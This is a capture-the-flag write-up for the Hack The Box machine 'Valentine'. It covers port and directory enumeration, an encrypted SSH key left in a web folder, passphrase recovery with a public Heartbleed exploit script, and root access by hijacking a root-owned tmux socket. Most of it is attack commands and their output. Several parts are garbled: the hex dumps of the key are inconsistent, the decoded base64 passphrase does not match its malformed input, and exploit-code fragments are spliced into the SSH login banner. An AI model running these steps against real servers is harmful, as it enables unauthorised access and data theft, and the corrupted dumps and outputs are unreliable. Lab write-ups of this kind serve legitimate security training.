

Welcome back hackers!! Today we will be attacking Valentine. Its an easy rated machine.
So lets get going.

Enumeration

```
22/tcp open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open  http      Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http  Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject:
commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/cou

| Issuer:
commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/cou

| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-02-06T00:45:25
| Not valid after:  2019-02-06T00:45:25

| MD5:   a413 c4f0 b145 2154 fb54 b2de c7a9 809d
|_SHA-1: 2303 80da 60e7 bde7 2ba6 76dd 5214 3c3c 6f53 01b1
|_ssl-date: 2021-10-28T15:59:33+00:00; +3s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Reviewing the certificate, we come across virtual host name which we add to our hosts file.

```
127.0.0.1      localhost
127.0.1.1      kali
10.129.215.131 valentine.htb
```

We will be enumerating webserver as we dont have any credentials for ssh access. Also, the openssh version is vulnerable to username enumeration. We will keep that information in our backpocket for now.

Port 80/443

Home page contains just an image of a lady.





Now lets try to brute force directories using gobuster. You can use any directory brute forcing tool. It depends on your preference. These were the directories which were returned by gobuster. Lets go and inspect them one by one.

```
(root@kali)~[/home/rishabh/HTB/Valentine]
# gobuster dir -u http://valentine.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
-t 200 --no-error -o dirbust -b 400,404 -q -x php,txt
/dev (Status: 301) [Size: 312] [→ http://valentine.htb/dev/]
/index (Status: 200) [Size: 38]
/index.php (Status: 200) [Size: 38]
/encode (Status: 200) [Size: 554]
/encode.php (Status: 200) [Size: 554]
/decode (Status: 200) [Size: 552]
/decode.php (Status: 200) [Size: 552]
/omg (Status: 200) [Size: 153356]
/server-status (Status: 403) [Size: 294]
```

The dev folder contains a key and notes file.

Index of /dev

Name	Last modified	Size	Description
 Parent Directory			-
 hype_key	13-Dec-2017 16:48	5.3K	
 notes.txt	05-Feb-2018 16:42	227	

Apache/2.2.22 (Ubuntu) Server at valentine.htb Port 80

Contents of notes.txt and hype_key:

To do:

- 1) Coffee.
- 2) Research.
- 3) Fix decoder/encoder before going live.
- 4) Make sure encoding/decoding is only done client-side.
- 5) Don't use the decoder/encoder until any of this is done.
- 6) Find a better way to take notes.

```
26 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 0d 0a 50 72 6f 63 2d 54 79 70 65 3a 20 34 2c 45 4e 43 52 59 50 54 45 44 0d 0a 44 45 4b 2d 49 6e 66 6f 3a 20 41 45 53 2d 31 32 38 2d 43 42 43 2c 41 45 42 38 38 43 31 34 30
46 3e 39 42 46 32 38 37 34 37 38 38 44 45 32 34 41 45 34 38 44 34 36 0d 0a 0d 0a 44 62 50 72 4f 37 38 0b 65 67 4e 75 6b 31 44 41 71 6c 41 4e 35 6a 62 6a 58 76 30 50 50 73 6f 67 33 6a 64 62 4d 46 53 38 69 45 39 70 33 55 4f 4c 30 6c 46 30 78 66 37 50 7a 6d 72 0b 44
61 38 52 0d 0a 35 79 2f 62 34 36 2b 39 6e 45 70 43 4d 66 54 50 68 4e 75 4a 52 63 57 32 55 32 67 4a 63 4f 4e 4b 2b 39 52 4a 44 42 43 35 55 4a 4d 55 53 31 2f 67 6a 42 2f 37 2f 44 79 38 38 4d 77 78 2b 61 49 36 0d 0a 30 45 49 30 53 62 4f 59 55 41 56 31 57 34 45 56 37
6d 39 36 51 73 5a 6a 72 77 4a 76 6e 6a 56 61 66 6d 36 56 73 4b 61 54 58 42 48 70 75 67 63 41 53 76 4d 71 7a 37 36 57 36 61 62 52 5a 65 58 69 0d 0a 45 62 77 36 36 68 6a 46 6d 41 75 34 41 7a 71 63 4d 2f 6b 69 67 4e 52 46 50 59 75 4e 69 58 72 58 73 31 77 2f 64 65 4c
43 71 43 4a 2b 45 61 31 54 38 7a 6c 61 73 36 66 63 6d 68 4b 3d 41 2b 30 50 0d 0a 4f 58 42 4b 4e 65 36 6c 31 37 68 4b 61 54 36 77 46 6e 70 35 65 58 4f 61 35 49 40 76 4b 6e 76 4f 36 53 63 48 56 57 52 72 5a 37 30 66 63 70 63 70 69 64 41 71 77 31 33 54 67 64 64 32 41
69 47 64 0d 0a 70 4b 4c 4a 70 59 55 49 49 35 50 75 4f 36 78 2b 4c 53 38 6e 31 72 2f 47 57 4d 71 53 4f 45 69 6d 4e 52 44 31 6a 2f 35 39 2f 34 75 33 52 4f 72 54 43 4b 65 6f 39 4a 47 34 54 52 71 73 32 6b 31 53 48 0d 0a 51 64 57 77 46 77 61 58 62 59 79 54 31 75 78 41 4d
53 6c 35 48 71 39 4f 44 35 48 4a 38 47 30 52 36 4a 49 35 52 76 43 4e 55 51 6a 77 78 30 46 49 54 6a 6a 4d 6a 6e 4c 49 70 78 6a 76 66 71 2b 45 0d 0a 70 38 67 44 38 55 63 79 6c 4b 6d 36 72 43 5a 71 61 63 77 6e 53 64 64 48 57 38 57 33 4c 78 4a 6d 43 78 64 78 57 35 6c
74 35 6a 50 6a 41 60 42 59 52 55 6e 6c 39 31 45 53 43 69 44 34 5a 20 75 43 0d 0a 4f 6c 36 6a 4c 46 44 32 6b 61 4f 4c 66 75 79 65 65 30 69 59 43 62 27 47 54 71 4f 65 37 45 6d 4d 42 33 66 47 49 77 53 64 57 38 4f 43 38 4e 54 60 77 78 6e 63 30 45 4c 62 6c 55 61 36
75 6c 4f 0d 0a 7a 39 67 72 53 6f 73 52 54 43 73 5a 64 31 34 4f 50 74 73 34 62 4c 73 70 4b 78 4d 4d 4f 73 67 6e 4b 6c 6f 58 76 6e 6c 58 4f 53 77 53 70 57 79 39 57 70 36 79 38 58 58 38 2b 46 34 30 72 78 6c 35 0d 0a 58 71 68 44 55 42 68 79 6b 31 43 31 59 58 47 69 44
75 50 4f 6e 4d 50 61 49 70 65 31 64 67 62 30 4e 64 44 31 4d 39 5a 51 53 4e 55 4c 77 31 44 48 43 47 50 50 34 4a 53 53 78 58 37 42 57 64 44 4b 0d 0a 61 41 6e 57 4a 76 46 67 6c 41 34 6f 46 42 42 56 41 38 75 41 50 4d 66 56 32 58 46 51 6e 6a 77 55 54 35 62 50 4c 43 36
35 74 4b 73 7a 6f 52 74 54 5a 31 75 53 72 75 61 69 32 37 6b 78 54 6e 4c 51 9d 6a 2b 77 51 38 37 6c 4d 61 64 64 73 31 47 51 4e 65 47 73 4b 53 66 38 52 2f 72 73 52 4b 65 65 4b 63 69 6c 44 65 58 43 6a 65 61 4c 71 74 71 78 6e 68 4e 6f 46 74 67 39 4d 78 74 3e 73 32 67
62 31 45 0d 0a 41 6c 6f 51 36 6a 67 35 54 62 6a 35 4a 37 71 75 59 58 5a 50 79 6c 42 6c 6a 4e 70 39 47 56 70 69 6e 50 63 33 4b 70 48 74 7a 76 67 62 78 74 66 69 57 45 45 73 5a 59 6e 35 79 5a 58 68 55 72 39 51 0d 0a 72 30 38 70 6b 4f 78 41 72 58 4c 32 64 6a 37 65 58
2b 62 71 36 35 36 33 35 4f 4a 36 54 71 48 62 41 6c 54 51 31 52 73 39 58 75 6c 72 53 37 4b 34 53 4c 58 37 6e 59 38 39 2f 52 5a 35 6f 53 51 65 0d 0a 32 56 57 52 79 54 5a 31 46 66 6e 67 4a 53 73 76 39 2b 4d 66 76 7a 33 34 31 6c 62 7a 4f 49 57 6d 6b 37 57 66 45 63 57
63 48 63 31 36 66 39 56 30 49 62 53 4e 41 4c 6e 6a 54 68 76 45 63 58 6b 79 6d 65 31 42 73 66 53 62 73 66 39 46 67 75 55 5a 8b 67 48 41 6e 6e 66 52 4b 6b 47 56 47 31 4f 56 79 75 77 63 2f 4c 56 6a 6d 62 68 5a 7a 4b 77 4c 68 61 5a 52 4e 64 38 48 45 4b 38 36 66 4e
6f 6a 50 0d 0a 30 39 6e 56 6a 54 61 59 74 57 55 58 6b 30 53 69 31 57 38 32 77 62 75 31 4e 7a 4c 2b 31 54 67 39 49 70 4e 79 49 53 46 43 4b 59 6a 53 71 69 79 47 2b 57 55 37 49 77 4b 33 59 55 35 6b 70 33 43 43 0d 0a 64 59 53 63 7a 36 33 51 32 70 51 61 66 78 66 53 62
75 76 34 43 4d 6e 70 64 69 72 56 4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 70 56 30 38 65 53 59 46 4b 46 4c 36 70 71 70 75 58 0d 0a 63 59 35 59 5a 4a 47 41 70 2b 4a 78 73 6e 49 51 39 43 46 79 78 49 74 39 32 66 72 58 7a 6e 73 6a 68 6c 59 61 38 73 76
62 56 4e 4b 66 0b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59 0d 0a 70 6e 73 75 0b 42 43 46 42 6b 5a 48 57 4e 4b 79 65 4e 37 62 35 47 68 54 56 43 6f 64 48 68 7a 4b 56 46 65 68 54 75 42 72 70 2b 56 75 50 71 61 71 44 76 4d 43 56 65 31 44 5a 43 62 34 4d
6a 41 6a 0d 0a 4d 73 6c 66 2b 39 78 4b 2b 54 58 45 4c 33 69 63 6d 49 4f 42 52 64 50 79 77 30 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 4e 70 49 38 65 62 2f 38 56 73 54 79 4a 53 65 2b 62 38 35 33 7a 75 56 32 71 4c 0d 0a 73 75 4c 61 42 4d 78 59 4b 6d 33 2b 7a 45 44 49 44
76 65 4b 50 4e 61 61 57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e 56 4d 4d 38 4c 65 43 69 69 33 4f 45 57 0d 0a 6c 30 6c 6e 39 4c 31 62 2f 4e 58 70 48 6a 47 61 38 57 48 48 54 6a 6f 49 69 6c 42 35 71 4e 55 79 79 77 53 65 54 42 46
32 61 77 52 6c 58 48 39 42 72 6b 5a 74 46 63 34 67 6d 6d 57 2f 49 7a 54 0d 0a 52 55 67 5a 0b 6d 42 51 5a 4e 49 49 66 7a 6a 31 51 75 69 6c 52 56 42 6d 2f 46 37 36 59 2f 59 4d 72 6d 6e 4d 39 6b 2f 31 78 53 47 49 73 6b 77 43 55 51 2b 39 35 43 47 48 4a 45 38 4d 6b
68 4d 33 0d 0a 20 2d 2d 2d 45 4e 44 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 0d 0a 50 72 6f 63 2d 54 79 70 65 3a 20 34 2c 45 4e 43 52 59 50 54 45 44 0d 0a 44 45 4b 2d 49 6e 66 6f 3a 20 41 45 53 2d 31 32 38 2d 43 42 43 2c 41 45 42 38 38 43 31 34 30
```

Reading the notes we can infer that the encoding and decoding is happening at server side that means if we send a malicious encoded payload, we might get a shell. Lets see whether our hypothesis is true or not. But first lets decode the key which was present in dev folder.

```
52 4e 64 38 48 45 4d 38 36 66 4e 6f 6a 50 0d 0a 30 39 6e 56 6a 54 61 59 74 57 55
62 75 31 4e 7a 4c 2b 31 54 67 39 49 70 4e 79 49 53 46 43 46 59 6a 53 71 69 79 47
35 6b 70 33 43 43 0d 0a 64 59 53 63 7a 36 33 51 32 70 51 61 66 78 66 53 62 75 76
4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 78 56 38 65 53 59 46 4b
63 59 35 59 5a 4a 47 41 70 2b 4a 78 73 6e 49 51 39 43 46 79 78 49 74 39 32 66 72
73 76 62 56 4e 4e 66 6b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59
42 6b 5a 48 57 4e 4e 79 65 4e 37 62 35 47 68 54 56 43 6f 64 48 68 7a 48 56 46 65
71 61 71 44 76 4d 43 56 65 31 44 5a 43 62 34 4d 6a 41 6a 0d 0a 4d 73 6c 66 2b 39
6d 49 4f 42 52 64 50 79 77 36 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 46 70 49 38 65
2b 62 38 35 33 7a 75 56 32 71 4c 0d 0a 73 75 4c 61 42 4d 78 59 4b 6d 33 2b 7a 45
57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e
4f 45 57 0d 0a 6c 30 6c 6e 39 4c 31 62 2f 4e 58 70 48 6a 47 61 38 57 48 48 54 6a
79 77 53 65 54 42 46 32 61 77 52 6c 58 48 39 42 72 6b 5a 47 34 46 63 34 67 64 6d
5a 6b 62 4d 51 5a 4e 49 49 66 7a 6a 31 51 75 69 6c 52 56 42 6d 2f 46 37 36 59 2f
78 53 47 49 73 6b 77 43 55 51 2b 39 35 43 47 48 4a 45 38 4d 6b 68 44 33 0d 0a 2d
41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d
```

Output

```
start: 1765
end: 1765
length: 0
```

-----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4, ENCRYPTED

DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

```
DbPr078kegNuk1DAqLAN5jbjXv0PPsog3jdbMFS8iE9p3U0L0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJc0FH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0Sb0YUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAUAzqcM/kigNRFPUYniXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
0XBKNe6l17hKaT6wFnp5eX0aUIHvHnv06SchVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5Pu06x+LS8n1r/GWMqS0EimNRD1j/59/4u3R0rTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMS15Hq90D5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
0l6jLFD2ka0Lfuyee0fYCb7GTq0e7EmMB3fGIwSdW80C8NWTkwpjc0ELblUa6ul0
t9grSosRTCsZd140Pts4bLspKxMM0sgnKloXvn1POSwSpWy9Wp6y8XX8+F40rx15
XqhDUBhyk1C3YPOiDuP0nMXaIpe1dgb0NdD1M9ZQSNULw1DHC6PP4JSSxX7BWdDK
```

Wow, it's a private key of a user which we don't know yet. So our next step should be to find any potential user and then we can use this key to login as that user. Also, it is an encrypted key so we will be requiring a passphrase when we use this key to login.

Inspecting the encode page, if we give any string it will encode using base64 and give the output:

Your input:

hello

Your encoded input:

aGVsbG8=

Nothing worked. So at this point I ran nmap script "vuln" to see if there are any vulnerabilities associated with open ports. And voila!! SSL is vulnerable to heartbleed vulnerability. Immediately I searchsploited heartbleed and it returned a couple of exploits I can choose from.

```
(root@kali)-[/home/rishabh/HTB/Valentine]
└─# searchsploit heartbleed
1 0
-----
-----
Exploit Title
| Path
-----
-----
OpenSSL 1.0.1f TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure
(Multiple | multiple/remote/32764.py
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (1)
| multiple/remote/32791.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (2) (DTLS
Support) | multiple/remote/32998.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure
| multiple/remote/32745.py
-----
-----
Shellcodes: No Results
```

I used the last exploit and it was simple to run. Run with python2 and also give the IP address. It will extract all the information from the memory. luckily I got an encoded text which was this:


```

└─# python 32745.py $IP
Connecting ...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 885
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C ...@....SC[ ...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 ...+..H...9.....
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 ...w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 ...!9.8.....5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ...
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ...3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ...E.D.... / ...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 ...A.....
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ...
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ...I.....4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 ...2.....
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ...
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ...
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 30 2E 30 2E ...#.....0.0.
00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F ...1/decode.php..Co
00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C ...tent-Type: appl
0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F ...ication/x-www-fo
0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43 ...rm-urlencoded..C
0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34 ...tent length: /
0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63 ...$text=aGVhcn
0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64 ...RibGVlZGJlbGllc
0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D 0B ...V0aGVoeXB1Cg==.
0160: 4E BB 37 7D 03 1F 07 51 7A 50 41 72 B2 4D B9 75 ...7k...OzPAr.M..
0170: 10 58 17 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C

```

After decoding this text, it seems it is the passphrase for that encrypted key.

```

└─(root@kali)-[/home/rishabh/HTB/Valentine]
└─# echo "aGVhcnRibGVlZGJlbGllcV0aGVoeXB1Cg==" | base64 -d
heartbleedbelievethetype

```

Lets try this passphrase and gain access to the machine

Initial Foothold

We used this passphrase and we got ssh access as the user hype

```

(root@kali)-[/home/rishabh/HTB/Valentine]
# ssh -i key hype@$IP
Enter passphrase for key 'key':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
options = OptionParser(usage='prog server [options]', description='Test and exploit
* Documentation:  https://help.ubuntu.com/
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.', default=0x4000, dest='len', help='p
Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3 help='Number of times to s
hype@Valentine:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos

```

Privilege Escalation

I simply transferred linpeas and it ran like a flash. It highlighted kernel version as a possible vector and also a tmux session was running as a root user. I referred this article how to do privilege escalation using tmux: <https://int0x33.medium.com/day-69-hijacking-tmux-sessions-2-priv-esc-f05893c4ded0>

Simply run and you will enter into a root session.

```
hype@Valentine:/tmp$ tmux -S /.devs/dev_sess
```

Voila!! That was a easy machine overall. I learned about a new vulnerability heartbleed which was fun to exploit. Lets meet tomorrow for another machine..